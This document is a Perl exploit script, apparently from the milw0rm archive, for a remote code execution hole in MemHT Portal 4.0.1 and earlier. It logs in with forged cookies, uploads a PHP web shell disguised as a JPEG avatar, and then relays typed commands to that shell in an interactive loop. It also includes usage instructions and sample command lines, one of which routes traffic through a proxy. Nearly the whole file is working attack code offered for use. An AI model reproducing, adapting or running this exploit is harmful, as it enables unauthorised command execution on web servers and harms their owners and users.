177 lines
No EOL
3.3 KiB
Perl
Executable file
177 lines
No EOL
3.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# MemHT Portal <= 4.0.1 (avatar) Remote Code Execution Exploit
|
|
# by yeat - staker[at]hotmail[dot]it
|
|
|
|
use Getopt::Std;
|
|
use Digest::MD5('md5_hex');
|
|
use LWP::UserAgent;
|
|
|
|
|
|
getopts('p:',\my %opts);
|
|
|
|
my ($host,$file,$id,$username,$password) = @ARGV;
|
|
|
|
my $http = new LWP::UserAgent;
|
|
my $u_agent = "Lynx (textmode)";
|
|
my $cookies = "login_user=$id#".md5_hex($username)."#".md5_hex($password);
|
|
|
|
|
|
Main::RunExploit();
|
|
|
|
|
|
# Main Package
|
|
|
|
package Main;
|
|
|
|
|
|
sub Usage {
|
|
|
|
return print <<EOF;
|
|
+--------------------------------------------------------------+
|
|
| MemHT Portal <= 4.0.1 (avatar) Remote Code Execution Exploit |
|
|
+--------------------------------------------------------------+
|
|
by yeat - staker[at]hotmail[dot]it
|
|
|
|
Usage: perl xpl.pl host/path file id user pass [OPTIONS]
|
|
host: target host and memht path
|
|
file: file to upload
|
|
user: valid username
|
|
pass: valid password
|
|
id: user id
|
|
|
|
Options:
|
|
|
|
-p [specify a proxy] [server]:[port]
|
|
|
|
Example:
|
|
perl xpl.pl localhost/memht yeat.php 38 MrJack obscure
|
|
perl xpl.pl localhost/memht yeat.php 38 MrJack obscure -p 213.151.89.109:80
|
|
|
|
EOF
|
|
|
|
}
|
|
|
|
|
|
sub RunExploit
|
|
{
|
|
if (defined $opts{p}) {
|
|
HTTP::Proxy($opts{p});
|
|
}
|
|
|
|
if (@ARGV < 5 || @ARGV > 7) {
|
|
Main::Usage();
|
|
}
|
|
else {
|
|
HTTP::UserAgent($u_agent);
|
|
MemHT::Login();
|
|
MemHT::Exploit($file);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
# MemHT Exploit Package
|
|
|
|
package MemHT;
|
|
|
|
sub Exploit
|
|
{
|
|
my $resp;
|
|
my $file = shift(@_);
|
|
my $path = "/index.php?page=users&op=editProfile";
|
|
|
|
my $data = {
|
|
chg_email => 'yeat@doesntexist.net',
|
|
avatar => [
|
|
undef,
|
|
$file,
|
|
Content_Type => 'image/jpeg',
|
|
Content => '<?php error_reporting(E_ALL); eval($_REQUEST[\'cmd\']); ?>',
|
|
# Content => 'Here you can write everything :) this is an example!',
|
|
],
|
|
chg => 'true',
|
|
Submit => 'Modify',
|
|
};
|
|
|
|
my $send = $http->post('http://'.$host.$path,
|
|
$data,
|
|
Content_Type => 'multipart/form-data',
|
|
);
|
|
|
|
if ($send->as_string =~ m{logout}i) {
|
|
print "File Uploaded! / $host/images/avatar/uploaded/$file\n\n";
|
|
|
|
while (1) {
|
|
print "\n[yeat-PHPshell]:~# ";
|
|
chomp(my $content = <STDIN>);
|
|
$resp = HTTP::GET("$host/images/avatar/uploaded/$file?cmd=$content");
|
|
print $resp->content;
|
|
}
|
|
}
|
|
else {
|
|
print "Exploit Failed!\n";
|
|
exit;
|
|
}
|
|
}
|
|
|
|
|
|
sub Login
|
|
{
|
|
HTTP::Cookies($cookies);
|
|
my $response = HTTP::GET($host.'/index.php?page=pvtmsg&op=newMessage');
|
|
|
|
if ($response->content =~ /access denied/i) {
|
|
print "Login Failed!\n";
|
|
exit;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
# HTTP Package
|
|
|
|
package HTTP;
|
|
|
|
|
|
sub Cookies
|
|
{
|
|
return $http->default_header('Cookie' => $_[0]);
|
|
}
|
|
|
|
sub UserAgent
|
|
{
|
|
return $http->agent($_[0]);
|
|
}
|
|
|
|
sub GET
|
|
{
|
|
if ($_[0] !~ m{^http://(.+?)$}i) {
|
|
return $http->get('http://'.$_[0]);
|
|
}
|
|
else {
|
|
return $http->get($_[0]);
|
|
}
|
|
}
|
|
|
|
sub POST
|
|
{
|
|
if ($_[0] !~ m{^http://(.+?)$}i) {
|
|
return $http->post('http://'.$_[0]);
|
|
}
|
|
else {
|
|
return $http->post($_[0]);
|
|
}
|
|
}
|
|
|
|
sub http_header
|
|
{
|
|
return $http->default_header($_[0]);
|
|
}
|
|
|
|
sub Proxy
|
|
{
|
|
return $http->proxy('http', 'http://'.$_[0]);
|
|
}
|
|
|
|
# milw0rm.com [2009-01-25] |